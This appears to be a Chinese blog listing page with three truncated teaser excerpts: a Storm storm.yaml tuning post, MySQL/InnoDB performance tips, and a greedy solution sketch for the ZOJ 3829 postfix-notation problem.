roadrunners
优化 storm.yaml
nimbus结点配置(storm.yaml)信息:
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional inf
101个MySQL 的调节和优化的提示
tomcat_oracle
mysql
1. 拥有足够的物理内存来把整个InnoDB文件加载到内存中——在内存中访问文件时的速度要比在硬盘中访问时快的多。 2. 不惜一切代价避免使用Swap交换分区 – 交换时是从硬盘读取的,它的速度很慢。 3. 使用电池供电的RAM(注:RAM即随机存储器)。 4. 使用高级的RAID(注:Redundant Arrays of Inexpensive Disks,即磁盘阵列
zoj 3829 Known Notation(贪心)
阿尔萨斯
ZOJ
题目链接:zoj 3829 Known Notation
题目大意:给定一个不完整的后缀表达式,要求有2种不同操作,用尽量少的操作使得表达式完整。
解题思路:贪心,数字的个数要要保证比∗的个数多1,不够的话优先补在开头是最优的。然后遍历一遍字符串,碰到数字+1,碰到∗-1,保证数字的个数大于等1,如果不够减的话,可以和最后面的一个数字交换位置(用栈维护十分方便),因为添加和交换代价都是1